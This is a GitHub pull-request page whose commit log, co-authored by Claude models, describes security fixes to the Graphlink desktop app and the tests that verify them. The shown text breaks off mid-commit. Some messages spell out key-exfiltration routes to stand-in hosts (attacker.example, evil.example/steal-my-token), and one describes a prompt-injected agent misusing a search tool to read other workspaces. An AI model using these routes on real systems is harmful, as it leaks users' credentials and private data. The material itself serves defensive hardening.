Repository navigation
Bump actions/upload-artifact from 4.6.2 to 7.0.1 - #3
Closed
dependabot[bot] wants to merge 1 commit into
Closed
dependabot[bot] wants to merge 1 commit into
dependabot[bot] wants to merge 1 commit into
Conversation
Bumps [actions/upload-artifact](https://github.com/actions/upload-artifact) from 4.6.2 to 7.0.1. - [Release notes](https://github.com/actions/upload-artifact/releases) - [Commits](actions/upload-artifact@ea165f8...043fb46) --- updated-dependencies: - dependency-name: actions/upload-artifact dependency-version: 7.0.1 dependency-type: direct:production update-type: version-update:semver-major ... Signed-off-by: dependabot[bot] <support@github.com>
dependabot
Bot
added
dependencies
Contributor
Author
|
Looks like actions/upload-artifact is no longer a dependency, so this is no longer needed. |
dependabot
Bot
deleted the
dependabot/github_actions/actions/upload-artifact-7.0.1
branch
July 12, 2026 00:28
dovvnloading
added a commit
that referenced
this pull request
Jul 29, 2026
…ar (findings #3, #25) (#177) The audit listed this bug twice (findings #3 and #25 are the same defect, confirmed identical by an independent re-read of the current code) - the notification banner and the Ctrl+F search bar both centre on the same top-centre band of the canvas region. A recent, unrelated change (the R8a edge-inset unification) had moved both onto the identical --gl-chrome-inset top offset, so a notification showing while search was open no longer partially overlapped it, but covered it completely: search's own shell measures 42px tall live, notification's measures 40px, both starting at the same y - two same-size elements at an identical offset is total overlap, not a near-miss. Search keeps its stable slot - it's the surface the user is actively typing into, and its position shouldn't jump depending on whether a banner happens to be showing. The notification layer moves to its own band 68px down (measured search bottom is 58px; 10px of real clearance beyond that), so the two can never touch regardless of which shows first or which closes first. Verified live: with search open and a banner appended into the real notification layer, the two rects no longer intersect (10px gap). Co-authored-by: Claude Opus 5 <noreply@anthropic.com>
dovvnloading
added a commit
that referenced
this pull request
Aug 24, 2026
loadApiModels falls back to the DPAPI-protected stored OpenAI-compatible key server-side whenever the caller's api_key argument is blank (so the "Load models" button works for an already-configured user without ever sending the plaintext key to the client - see this file's own module docstring). But base_url was taken verbatim from the caller with no check that it matched the URL the stored key was actually saved against. Any caller of this WS intent - the SPA itself (so an XSS or prompt- injection-to-DOM foothold in canvas-rendered content), or a local process holding the per-launch capability token - could call loadApiModels with provider='OpenAI-Compatible', api_key='', base_url='http://attacker. example/v1' and turn the fallback into a decrypt-and-exfiltrate oracle for the stored key, without ever reading the encrypted blob on disk: the app itself decrypts it and ships it as an Authorization: Bearer header to whatever host the caller named, over plain HTTP if asked. No confirmation, no notification, and the saved base_url is left untouched so nothing visible changes in Settings. This defeats the DPAPI-at-rest protection (backend/#3.14 in the architecture review) as completely as reading the blob directly would. Now compares the caller's base_url against manager.get_api_base_url() before using the stored key, mirroring save_api_configuration's own existing discipline (a base_url change there already requires the key to be retyped) - a mismatch refuses the fallback with a clear error instead of silently using it, while a caller supplying their OWN freshly-typed key for a different endpoint is unaffected (the legitimate "try a different self-hosted proxy" workflow). Gated on a stored key actually existing, so the ordinary "nothing configured yet" case keeps its own, more useful error. Anthropic has no user-configurable base_url (_build_api_client ignores it outright for that provider), so its stored key always ships to the same fixed host and needs no such check. Not addressed here (separate, lower-priority architectural gap noted for a future pass): the boot-time path (apply_provider_mode) reads api_base_url and the stored key independently from session.dat, so a hostile settings file that edits only the cleartext base_url field (a different, weaker attacker who can write but not DPAPI-decrypt) still redirects the key on next launch - fixing that needs binding the key's encrypted-at-rest form to the URL it was saved with, a real architectural change rather than a request-time check. Revert-verified by restoring intents_settings_api_provider.py from HEAD (file copy, not stash): the new refusal test failed with the stored key genuinely appearing in the captured provider-SDK call (['sk-saved-openai'] instead of []) against the pre-fix code, then passed with the fix restored. test_settings.py: 153 passed; ruff clean. Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
dovvnloading
added a commit
that referenced
this pull request
Aug 24, 2026
* Reject a non-string subscribe topic instead of crashing the WS connection
`topics` was checked to be a list, but not that each ELEMENT is a
hashable/string topic name. A subscribe frame like {"topics": [{}]}
passed the list check and reached send_snapshot -> self._topics.get(topic),
which raised TypeError('unhashable type: dict') - not UnknownTopicError -
escaping the except clause uncaught and killing the connection, the exact
"malformed input drops the socket" failure this function's adjacent
REVIEW-FIXes already close for other shapes.
Each topic element is now checked to be a string before use, with the
same graceful kind:error reply every other malformed-input path here uses.
Revert-verified by restoring app.py from HEAD (file copy, not stash): the
new test's subscribe frame killed the connection (no error reply, socket
dead), then got the graceful reply with the fix restored.
test_app_ws.py: full suite green; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Validate args shape for every intent, not just schema'd ones
A schema'd intent already gets a non-list-args check via
_validate_intent_args before dispatch_intent.py:840. An intent registered
with args_schema=None - most of them - skipped that check entirely, so
`handler(*args)` unpacked whatever shape the client sent. Python
star-unpacking iterates a string by character and a dict by key, so a
non-list args value reached an *args/single-string-parameter handler
(e.g. system/ping) as silently mangled positional values instead of the
validation error a schema'd intent would raise for the identical mistake.
Only a token-holding client (their own window, or another local process
that already has the capability token) can reach this - no privilege
escalation under the documented threat model - but it is a protocol-
hardening gap that would otherwise silently re-open per-handler as new
intents are added or migrated onto a schema one at a time.
Moved the "must be a list" check out from under the
`if registration.args_schema is not None:` gate so it runs universally,
reusing IntentValidationError's own message shape ("expected a list of
arguments, got X") - the same text and error path a schema'd intent
already produces for this mistake, so every intent's malformed-args
behavior is now identical regardless of whether it has a schema.
Revert-verified by restoring events.py from HEAD (file copy, not stash):
ping's *args received the string 'abc' unpacked character-by-character
with no error, then got the graceful rejection with the fix restored.
test_app_ws.py: full suite green; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Coerce a non-hashable node_type to a string instead of crashing the whole chat load
node_type feeds _NODE_RESTORERS.get(node_type) - a dict-key lookup that
raises TypeError('unhashable type') uncaught for a non-hashable JSON value
(a list or dict), aborting the ENTIRE chat load over one malformed node in
a hostile or hand-corrupted saved chat - the same class of bug already
fixed elsewhere in this file for other unhashable-lookup sites (the
resolve-ref and children-lookup fixes from the prior security pass).
A non-string node_type is simply an unrecognized kind, exactly like any
other unknown kind string - _restore_node's own docstring already treats
that gracefully (skip, don't raise). str() coercion at the call site keeps
it hashable so that existing fallback actually runs instead of crashing
before it's ever reached.
Revert-verified by restoring session_load.py from HEAD (file copy, not
stash): the new test raised the exact predicted TypeError, then passed
with the fix restored. test_session_load.py: full suite green; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Skip a graph row with a malformed numeric column instead of crashing get_all_chats
SQLite's type affinity does not enforce that an INTEGER column actually
holds a number - a hand-corrupted or hostile chats.db can store non-numeric
TEXT in id/message_count/workspace_id. int(...) raised an uncaught
ValueError, escaping get_all_chats entirely. This is not a one-time load
failure: the function backs the "app-chat-library" topic, republished on
essentially every user action in this module (rename/delete/save/load/
new-chat, every fresh subscribe) - one corrupt row killed the whole
library listing on every single one of those actions, not just an
initial open.
Each row is now converted individually inside a try/except; a row whose
numeric fields don't coerce is logged and skipped, leaving every other
well-formed graph intact - the same "malformed entries dropped, not
raised on" posture graphlink_settings_store.py already uses for its own
persisted data.
Revert-verified by restoring chat_library.py from HEAD (file copy, not
stash): the corrupt-workspace_id row raised ValueError out of
get_all_chats before the good row was ever returned; with the fix
restored, the corrupt row is skipped and the good row survives.
test_chat_library.py: full suite green; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Bound MCP tool results, stdout/stderr line length, and error message text
Three related unbounded-memory/text growth vectors from a hostile or
merely misbehaving MCP server (this file's own docstring already treats
the server as untrusted for env/approval; this closes the same threat for
its own output):
- call_tool() returned a server's text result to the Builder uncapped -
unlike every built-in graph tool's own excerpting, a single call could
hand back an arbitrarily large blob that round-trips into the message
list and is re-sent to the provider on every later turn. Capped at
MAX_TOOL_RESULT_CHARS (200k), with a truncation marker.
- _read_loop's `for line in process.stdout` accumulated an entire line in
memory before ever yielding it, with no bound - a server that writes to
stdout without emitting a newline grew that buffer without limit
(eventually a MemoryError on the reader daemon thread, reported through
crash_recovery's crash logger). Replaced with a readline(size)-bounded
loop; a line that hits the cap without a trailing newline is resynced
past (bounded, via a new _drain_oversized_line helper) rather than ever
held whole in memory, and a connection that can't resync within budget
is reported as closed immediately rather than left to hang.
- _drain_stderr's ring buffer bounded the NUMBER of retained lines (200)
but not the length of any one of them, so the same unbounded-line-read
problem existed on stderr too. Same readline(size)-bounded fix.
- A JSON-RPC error's message text flowed into McpError with no length
bound - this text is logged and can reach a user-facing notification.
Truncated to 2000 chars, matching the stderr-tail diagnostic's existing
bound in this same file.
Revert-verified by restoring mcp_client.py from HEAD (file copy, not
stash): all three new tests failed against the pre-fix code with the
exact unbounded behavior each closes (a multi-megabyte tool result
returned whole, the reader hanging on a never-terminated line until
timeout, a 500KB error message reaching the caller intact), then passed
with the fix restored. test_mcp_client.py: 21 passed; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Invalidate the Builder's cached MCP tool registry when servers are saved
AgentDispatcher.builder_tool_registry() builds a ToolRegistry (graph
tools, plugin tools, and one connected McpStdioClient per configured MCP
server) once per dispatcher and caches it forever - nothing ever cleared
`self._builder_registry`. That means disabling or removing an MCP server,
or narrowing its enabled_tools/scopes/approval, in Settings had no effect
on a session whose Builder had already started once: the stale registry,
and the already-connected client, kept granting the OLD tools under the
OLD scopes for the rest of the session - a settings change that looks
like it revoked access silently doesn't, until the app restarts.
Added AgentDispatcher.invalidate_builder_registry() (just clears the
cache; an in-flight Builder run keeps whatever it already bound - this
only stops a stale registry from surviving past the save that was
supposed to retire it) and call it from the setMcpServers intent
(backend/api/intents_settings_general.py) right after persisting, so the
Builder's next start rebuilds from what was just saved. Threaded the
session's AgentDispatcher through register_settings ->
register_settings_general_intents as a new trailing, defaulted parameter
(mirroring the existing `notifications` parameter's own backward-
compatibility posture) so the ~180 pre-existing register_settings(bus,
manager) call sites in the test suite are unaffected; backend/app.py's
real call site now passes the dispatcher it already builds earlier in
_configure_session.
Revert-verified by restoring all four touched files from HEAD (file
copy, not stash): the new invalidation test failed with `TypeError:
register_settings() got an unexpected keyword argument 'agent_dispatcher'`
against the pre-fix code, then passed with the fix restored. Full
backend/tests/test_settings.py + test_agents.py + test_plugin_worker.py +
test_app_ws.py: 414 passed; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Stop a corrupted log_level setting from crashing the app at launch
graphlink_desktop.py's main() resolved the persisted log level with a bare
`getattr(logging, SettingsManager().get_log_level(), logging.INFO)`, before
configure_logging() attaches any handler or install_exception_handlers()
runs. getattr's default only covers a MISSING attribute - a log_level
naming some other real logging-module attribute ("shutdown", "Formatter",
"handlers") returns that object instead of an int, and
configure_logging's root_logger.setLevel() then raises TypeError('Level
not an integer or a valid string'); a non-string persisted value (a JSON
list/int/null from a hand-edited or corrupted session.dat) makes getattr
itself raise TypeError('attribute name must be string'). Either way the
app fails to start on every subsequent launch, with no crash marker and
no log line, since nothing is wired up yet at this point in main().
backend/observability.py's apply_log_level already guards against exactly
this vocabulary problem for its own (live, in-session) callers, and its
docstring says outright that "a stale/corrupted settings value must never
crash startup" - but the boot-time call site never used it, since
apply_log_level's contract is "set a live logger's level" (or no-op),
not "return an int for configure_logging". Added
observability.resolve_log_level(level_name, default=INFO): same closed-
vocabulary check as apply_log_level (also rejecting non-string values,
which apply_log_level never had to worry about since SettingsManager
itself typed that parameter), returning an int always. graphlink_desktop.py
now calls it instead of the bare getattr.
Revert-verified by restoring observability.py from HEAD (file copy, not
stash): the new tests failed with `ImportError: cannot import name
'resolve_log_level'` against the pre-fix code, then passed with the fix
restored. test_observability.py + the log_level slice of test_settings.py:
10 passed; `python -c "import graphlink_desktop"` succeeds; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Bound FTS5 query cost, and stop globalSearch from writing a collection row
Two related knowledge-search hardening fixes.
- FTS5 MATCH cost over the implicit-AND phrase list grows quadratically
with the number of quoted terms - a single 200k-term/1.5MB query
measured 93s of CPU on one worker thread while holding a knowledge.db
connection, and the query text was never length-bounded anywhere on any
of its three entry paths (the globalSearch/search and knowledge/search
WS intents, plus the auto-approved LLM tool knowledge.search - all three
clamp `k`, none of them touch `query`). Capped the TERM COUNT in
_fts5_match_expression, the one function every caller already funnels
through, at 256 - silently truncating rather than raising, matching this
function's own existing "best-effort over the text it's given" posture.
256 is far beyond any real search box input; the measured blowup didn't
even start until 50k terms.
- globalSearch/search is documented and used as a read-only intent, but
called get_or_create_workspace_collection - a SELECT-or-INSERT with no
existence check of its own - directly on whatever integer workspaceId a
caller sent, with no check that the id names a real chats.db workspace.
A "search" request against an id that never existed silently grew
knowledge.db's collections table without bound. Now validates the id
against chat_library.get_all_workspaces first, mirroring newChat's own
established "unrecognized id falls back to None" posture, so an unknown
workspaceId behaves like it was never given (an unscoped, cross-
workspace search) instead of minting a row. The chat_library import is
lazy (inside the closure) rather than at module top - chat_library
imports canvas, which imports this module, so a top-level import here
would be circular; confirmed by running
test_chat_library_never_imports_qt's fresh-subprocess import, the one
place that cycle is actually exercised.
Revert-verified by restoring both touched source files from HEAD (file
copy, not stash): the new FTS5 term-cap test failed with AttributeError
(no _MAX_FTS5_QUERY_TERMS) against the pre-fix code; the new phantom-
collection test failed with an actual extra collections row created (2
vs. 1) against the pre-fix code. Both passed with the fix restored.
test_knowledge_store.py + test_chat_library.py + test_app_ws.py +
test_canvas.py: 655 passed; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Scope the LLM knowledge.search tool to the session's own workspace
The auto-approved Builder tool knowledge.search accepted an arbitrary
model-supplied collection_id (or none, meaning "every collection"), with
no workspace check at all - unlike the human-driven "Knowledge" search
panel (backend/api/intents_knowledge.py's search intent), which always
scopes to the calling session's own current workspace via
_resolve_workspace_collection_id. Since reindex_graph_content indexes
every node of every saved graph into this same store, a prompt-injected
model could read any other workspace's chat content on request - exactly
the read this tool's approval="auto" posture assumes is impossible,
because it was assumed to be scoped like its human-facing counterpart.
Removed collection_id from the tool's input_schema entirely (never
offered to the model), and make_knowledge_search_handler/
register_knowledge_tools now take a `document` (the session's own
SceneDocument) and always resolve the collection from it via
_resolve_workspace_collection_id - reused directly from
intents_knowledge.py, not reimplemented, so both the human and model
paths enforce the exact same scoping decision and can't silently drift
apart. Gave that function an optional trailing db_path parameter (default
unchanged) so tools_knowledge.py's own already-injectable db_path (used
for test isolation) flows through it too, rather than resolving against
the real default database regardless of what path the tool itself was
bound to. agents.py's builder_tool_registry now passes its own `document`
through; `document=None` (no session context - the tool's own pre-fix
unit tests) falls back to an unscoped search, the same "no info to scope
by" behavior a caller with no workspace ever had.
Revert-verified by restoring all three touched source files from HEAD
(file copy, not stash): the three new tests failed against the pre-fix
code - the schema still advertised collection_id, a model-supplied
collection_id was honored (returned only the requested collection instead
of both), and register_knowledge_tools didn't even accept a `document`
argument. All passed with the fix restored.
test_tools_knowledge.py + test_intents_knowledge.py + test_agents.py +
test_plugin_worker.py + test_chat_library.py: 431 passed; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Refuse to use a Py-Coder/Sandbox scratch root owned by another user
On POSIX, prepare_scratch_dir chmod 0700's the per-node LEAF directory
(PYCODER_REPL_ROOT/<node>, EXECUTION_SANDBOX_ROOT/<node>) but never
touched the SHARED ROOT itself, which is created with the default umask
under the plain system temp dir. A leaf's own restrictive mode only keeps
other users out of it going forward - it does nothing to stop a local
user who already owns/controls the root (a predictable, fixed path any
local process can pre-create before Graphlink's own first launch) from
renaming or symlink-swapping the leaf's own directory entry: owning a
directory grants rename/unlink rights over every entry inside it
regardless of that entry's own mode. That turns the window between this
module creating a leaf and the caller's later Popen(cwd=leaf) into a real
race - the REPL/sandbox subprocess's working directory, and every
relative-path write LLM-generated code makes, could be redirected
wherever the pre-existing root's owner chose.
Added _ensure_private_scratch_root, called on path.parent before any leaf
is created: creates the root 0700 if new, and - the actual fix - raises
OSError to refuse a pre-existing root owned by a different uid rather
than silently trusting it, the same "don't touch what you don't own"
posture CPython's own tempfile.mkdtemp() takes for this exact class of
shared-/tmp attack. Windows-gated identically to the existing leaf chmod
(this whole path is a no-op there); os.getuid() being unavailable at all
(not a real POSIX possibility, but tolerated defensively) degrades to
"skip the ownership check, still chmod" rather than raising. Callers
(PythonREPL.start, VirtualEnvSandbox.ensure_base_environment) already run
inside a run-level try/except that reports setup failures as a failed
run, not a crash.
Revert-verified by restoring graphlink_scratch_dirs.py from HEAD (file
copy, not stash): the new ownership-mismatch test failed with "DID NOT
RAISE OSError" against the pre-fix code (a hostile pre-existing root was
silently used), then passed with the fix restored.
test_scratch_dirs.py: 28 passed, 2 skipped (POSIX-only real-stat tests,
this dev machine is Windows); the broader pycoder/code_sandbox/scratch
suite (309 tests) is unaffected, since this whole path is Windows-gated
identically to the pre-existing leaf chmod; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Bound the aggregate uncompressed size of an imported .graphlink archive
read_archive's MAX_MEMBER_BYTES cap bounds one entry's declared
uncompressed size, but nothing bounded how many chats/*+assets/* members
an archive could carry or what their sizes summed to - every member is
read fully into memory at once (the chats/assets dicts) before any of it
is used. Deflate gives roughly 1000:1 compression on zero-filled data, so
N members each lying up to the per-member cap cost only N * ~256KB on
disk while ballooning to N * 256MB in the backend process's RAM - a
sub-MB archive with enough members exhausts memory without any single
member ever tripping the existing per-member check. Not reachable today
(no intent wires import_archive to anything yet - grep confirms it), but
becomes a real import-time DoS the moment the planned importWorkspace
intent ships a native open dialog, and is a one-line-of-reasoning fix to
close now rather than re-discover later.
Added MAX_TOTAL_UNCOMPRESSED_BYTES (2GB) and an accumulating check in the
same infolist() pass that already enforces the per-member cap.
Revert-verified by restoring workspace_archive.py from HEAD (file copy,
not stash): the new test failed with AttributeError (no
MAX_TOTAL_UNCOMPRESSED_BYTES) against the pre-fix code, then passed with
the fix restored - monkeypatching the real 2GB threshold down to 100
bytes so the test can actually exceed it without writing gigabytes of
real data. test_workspace_archive.py: 20 passed; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Stop loadApiModels from shipping the stored key to an arbitrary base_url
loadApiModels falls back to the DPAPI-protected stored OpenAI-compatible
key server-side whenever the caller's api_key argument is blank (so the
"Load models" button works for an already-configured user without ever
sending the plaintext key to the client - see this file's own module
docstring). But base_url was taken verbatim from the caller with no check
that it matched the URL the stored key was actually saved against.
Any caller of this WS intent - the SPA itself (so an XSS or prompt-
injection-to-DOM foothold in canvas-rendered content), or a local process
holding the per-launch capability token - could call loadApiModels with
provider='OpenAI-Compatible', api_key='', base_url='http://attacker.
example/v1' and turn the fallback into a decrypt-and-exfiltrate oracle
for the stored key, without ever reading the encrypted blob on disk: the
app itself decrypts it and ships it as an Authorization: Bearer header to
whatever host the caller named, over plain HTTP if asked. No
confirmation, no notification, and the saved base_url is left untouched
so nothing visible changes in Settings. This defeats the DPAPI-at-rest
protection (backend/#3.14 in the architecture review) as completely as
reading the blob directly would.
Now compares the caller's base_url against manager.get_api_base_url()
before using the stored key, mirroring save_api_configuration's own
existing discipline (a base_url change there already requires the key to
be retyped) - a mismatch refuses the fallback with a clear error instead
of silently using it, while a caller supplying their OWN freshly-typed
key for a different endpoint is unaffected (the legitimate "try a
different self-hosted proxy" workflow). Gated on a stored key actually
existing, so the ordinary "nothing configured yet" case keeps its own,
more useful error. Anthropic has no user-configurable base_url
(_build_api_client ignores it outright for that provider), so its stored
key always ships to the same fixed host and needs no such check.
Not addressed here (separate, lower-priority architectural gap noted for
a future pass): the boot-time path (apply_provider_mode) reads
api_base_url and the stored key independently from session.dat, so a
hostile settings file that edits only the cleartext base_url field (a
different, weaker attacker who can write but not DPAPI-decrypt) still
redirects the key on next launch - fixing that needs binding the key's
encrypted-at-rest form to the URL it was saved with, a real architectural
change rather than a request-time check.
Revert-verified by restoring intents_settings_api_provider.py from HEAD
(file copy, not stash): the new refusal test failed with the stored key
genuinely appearing in the captured provider-SDK call
(['sk-saved-openai'] instead of []) against the pre-fix code, then passed
with the fix restored. test_settings.py: 153 passed; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Never attach the GitHub token to a response-supplied download_url
fetch_github_file_text (graphlink_plugins/gitlink/repository.py) takes a
`download_url` verbatim from a GitHub contents-API response body and
hands it to GitHubRestClient.request(), which unconditionally attached
`Authorization: Bearer <token>` to every request regardless of host.
requests only strips Authorization on a cross-host *redirect*
(rebuild_auth) - a direct request to a URL a hostile/tampered API
response supplied outright still gets it. Every other call site in this
codebase builds its URL from a fixed "https://api.github.com/..."
literal; only this one trusts the response to say where to go next, so a
TLS interception, a compromised proxy the user configured, or a local
DNS/hosts redirect of api.github.com presenting a trusted cert could
redirect the saved token to any attacker-chosen host.
GitHubRestClient.build_headers now takes the target URL and only attaches
the token when its host is api.github.com or raw.githubusercontent.com -
the only two hosts any real call site ever legitimately needs it for.
request() passes its own URL through; build_headers()'s `url` parameter
defaults to None (attach unconditionally), preserving the exact pre-fix
behavior for the one existing direct caller in the test suite that
doesn't care about host scoping.
Revert-verified by restoring github_client.py from HEAD (file copy, not
stash): the new tests failed against the pre-fix code - the token
genuinely appeared in the captured request headers for
https://evil.example/steal-my-token - then passed with the fix restored.
test_gitlink_domain.py: 127 passed; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Move native OS dialogs off the shared default asyncio executor
pick_file/pick_folder/pick_save_file each called asyncio.to_thread(window.
create_file_dialog, ...), which always runs on the loop's shared DEFAULT
executor - the same pool roughly 177 other to_thread call sites across
the backend depend on: settings persistence (run_locked), chat-library/
autosave SQLite work, knowledge search, Ollama/llama.cpp scans. A native
dialog blocks its worker thread until the user dismisses the OS picker,
with no timeout and no concurrency cap. A capability-token holder can
open one dialog per WebSocket connection; with enough connections, every
worker in the shared pool ends up parked waiting on an OS dialog, and
every OTHER to_thread hop in the process (including autosave's DB write
and settings saves) queues behind them until the dialogs are closed.
Added a small dedicated ThreadPoolExecutor (max_workers=4) for native
dialogs only, and a _run_in_dialog_executor helper that mirrors asyncio.
to_thread's own implementation (including its contextvars propagation)
but targets that dedicated pool via loop.run_in_executor instead of the
shared default one. All three dialog functions now route through it.
Reachability is narrow (requires the app's own capability token - no
bypass of the documented trust boundary) and the impact is a self-
inflicted wedge of background persistence, not a data leak or privilege
escalation - but it's a one-file, low-risk fix that removes a real
process-wide resource-starvation vector for free.
Revert-verified by restoring native_dialogs.py from HEAD (file copy, not
stash): the new tests failed with AttributeError (no _DIALOG_EXECUTOR)
against the pre-fix code, then passed with the fix restored.
test_native_dialogs.py: 13 passed; ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Stop serving stored SVG assets as active image/svg+xml content
get_asset (backend/assets.py) reads (image_bytes, mime_type) from
document.image_assets and passed mime_type straight into the response's
Content-Type whenever it was in ALLOWED_IMAGE_MIME_TYPES - which included
image/svg+xml. Neither write path into image_assets (the addImageNode WS
intent, session_load._restore_image_payload) validates the bytes against
the declared mime_type, so a hostile saved chat or imported .graphlink
archive (both within this codebase's documented hostile-data-on-disk
threat boundary) could store an image node whose bytes are an SVG
containing <script> and whose mime_type is image/svg+xml. The route also
set neither X-Content-Type-Options: nosniff nor Content-Disposition,
unlike the sibling chart-export route. If that asset URL is ever loaded
as a document/iframe/top-level navigation - not reachable today (the only
consumer is ImageNodeView's <img src>, which runs SVG inert) but a real
risk the moment any future affordance opens an asset URL as a document,
e.g. the already-stubbed-but-disabled HTML-node Popout - it executes
script at the app's own origin, which carries the capability token in its
URL fragment: full access to every /api intent, including code-execution
approval.
ALLOWED_IMAGE_MIME_TYPES now excludes image/svg+xml (SVG stays storable,
and keeps its real .svg extension for workspace_archive.py's export path
via the untouched _EXTENSION_BY_MIME - only what's trusted at SERVE time
changes); get_asset's existing "not in the allowlist -> application/
octet-stream" fallback now also catches a stored SVG automatically. Added
X-Content-Type-Options: nosniff and Content-Disposition: inline (naming a
real extension via the now-imported extension_for_mime) to every
response. Storage write paths were deliberately left untouched - the fix
is scoped entirely to what's trusted/labeled at serve time.
Revert-verified by restoring assets.py/asset_store.py from HEAD (file
copy, not stash): the new tests failed against the pre-fix code - a
stored SVG genuinely came back as Content-Type: image/svg+xml, and
X-Content-Type-Options was absent entirely - then passed with the fix
restored. test_assets.py: 15 passed; ruff clean. Confirmed
ALLOWED_IMAGE_MIME_TYPES has no other consumers in the repo.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Chmod graphlink.log, faulthandler.log, and diagnostic bundles to 0600
Every other file under ~/.graphlink that can carry user content -
session.dat, chats.db and its WAL sidecars, knowledge.db, asset files -
is explicitly chmod'ed to 0600 on POSIX. graphlink.log (and its rotated
backups), crash/faulthandler.log, and diagnostics/bundle-*.json were the
one remaining exception: created at the process umask via plain open()/
RotatingFileHandler with no chmod anywhere. On a multi-user POSIX host
with the default 022 umask, these are world-readable - and they hold
exactly the content the 0600 rule elsewhere exists to protect: chat
content and absolute paths can end up in log lines via this codebase's
own exception-chain logging, and the diagnostic bundle is built from
similar session state.
Added crash_recovery._chmod_0600 (POSIX-only, no-op on Windows matching
every other chmod call site, a refused chmod logged and swallowed rather
than raised - a permissions tightening that can't apply must never crash
logging/diagnostics themselves) and call it: right after configure_logging
constructs its handler (self-heals on every launch, since that function
is otherwise a per-process-only idempotent no-op for an already-existing
file); right after faulthandler.log is opened; and from
intents_diagnostics.py's export_diagnostic_bundle right after the bundle
JSON is written (reused directly rather than duplicated, since that
module already reaches into crash_recovery._data_dir()).
Log rotation needed its own handling: a plain RotatingFileHandler reopens
a brand-new file at the same path on every rollover, each subject to the
umask again - a one-time chmod at construction only covers the first
file. Added _Chmod0600RotatingFileHandler, overriding doRollover to
re-chmod the freshly reopened current file after each rotation; the
rotated-AWAY copies (graphlink.log.1/.2/.3) need no separate treatment
since POSIX rename preserves the source inode's mode bits, so a file
already 0600 before rotation stays 0600 wherever rotation moves it.
Revert-verified by restoring both touched source files from HEAD (file
copy, not stash): the new chmod-specific tests failed with AttributeError
(no _chmod_0600/_Chmod0600RotatingFileHandler) and missing-call assertions
against the pre-fix code, then passed with the fix restored.
test_crash_recovery.py + the new test_intents_diagnostics.py: 34 passed,
3 skipped (POSIX-only real-stat tests - this dev machine is Windows);
ruff clean.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Pin CI tooling versions and exclude tests/evals from the built wheel
Two related packaging/CI hygiene fixes.
- CI installed its verification tooling (pytest, pytest-cov, ruff, mypy,
pip-audit, build, twine) unpinned from PyPI at run time, and pyproject.
toml's [build-system] pulled `setuptools>=68` unpinned too. The lockfile
discipline this project applies to runtime dependencies didn't extend
to the tools that decide whether CI itself is green: a compromised or
typosquat-adjacent release of any of them runs arbitrary code in the
job and can falsify the very check it implements (a hijacked pip-audit
could report a vulnerable dependency set as clean; a hijacked pytest
plugin could report a failing suite as green). Blast radius is CI-signal
integrity only - the workflow already has contents:read, a plain
pull_request trigger, every Action SHA-pinned, no secrets, no
publish/release step - not the shipped app or any secret. Every tool is
now pinned with == to a version confirmed live against PyPI at the time
of this fix; setuptools is pinned to the exact version already
installed and empirically exercised in a real isolated PEP 517 build
(see below), rather than merely the newest available.
- The built wheel shipped the entire backend/tests and backend/evals
trees (test fixtures, conftest, perf baselines - dev-only content with
no reason to reach an end consumer's site-packages) because setuptools'
auto-discovery under [tool.setuptools.packages.find] is namespace-aware
(PEP 420) and picked them up as real packages even without __init__.py
in every directory. Added an explicit exclude for backend.tests(.*) and
backend.evals(.*). (The audit's separate observation that plugins/ and
web_ui/dist are ALSO missing from the wheel - i.e. it can't actually
launch - is a larger packaging-completeness gap, not a security fix,
and is deliberately left open for its own pass.)
Verified end-to-end, not just at the config level: built a real wheel
(pip wheel . --no-deps) and inspected its contents directly - 137 files,
zero matching "tests" or "evals", backend/api/*.py present and correct.
Also confirmed via a real `pip install -e . --no-deps --dry-run` that the
pinned setuptools resolves cleanly in isolated build, and via
find_namespace_packages (the actual finder pyproject.toml's config
invokes) that the exclude list doesn't over-reach into real packages
(backend.api, backend.domain, backend.providers, graphlink_plugins* all
still present). TOML re-parses cleanly; `python -m ruff check .` and a
representative pytest file both still pass, confirming the environment
itself is unaffected by the edit.
Co-Authored-By: Claude Sonnet 5 <noreply@anthropic.com>
* Close the web-research slow-drip bypass of budget/cancel checks
fetch()'s content loop and _fetch_robots_bytes() both read via requests/
urllib3's iter_content(chunk_size=N), which is backed by io.BufferedReader.
read(N) - that call does NOT return after one recv(); it loops internally,
calling recv() again and again until it accumulates N bytes or hits EOF.
The (connect, read) socket timeout passed to session.get() is a PER-RECV
timeout that resets on every recv() that returns any data at all, even
one byte. A hostile site dripping 1 byte every few seconds - safely under
read_timeout_seconds=15, never tripping any single recv()'s own timeout -
defers this loop's own cancellation/time-budget check until a FULL chunk
has trickled in. With the old 16 KiB (fetch) / 8 KiB (robots.txt) chunk
sizes that's chunk_size * drip_interval: tens of hours in practice, while
total_timeout_seconds=30 sits there doing nothing in between and the Stop
button (cooperative cancellation, checked at the same point) is equally
powerless. _fetch_robots_bytes was worse still - reached on EVERY fetch,
before the real request - and had no cancellation or deadline check of
any kind, not even the ineffective one fetch() had.
Both loops now use chunk_size=1: "one chunk" becomes "at most one recv()
wait", so the worst-case stall before the existing check re-runs
collapses to roughly one read-timeout window (~15s, the same order as
total_timeout_seconds) instead of an effectively unbounded multiple of
it. This doesn't add a real per-byte syscall for ordinary fast transfers
- io.BufferedReader batches actual socket reads into its own internal
buffer regardless of the amt requested - only Python-level loop overhead,
measured at ~0.3s worst case for a full 2 MB response (this policy's own
max_bytes cap), a reasonable price against a fetch that's already
network-bound. _fetch_robots_bytes gained optional token/started
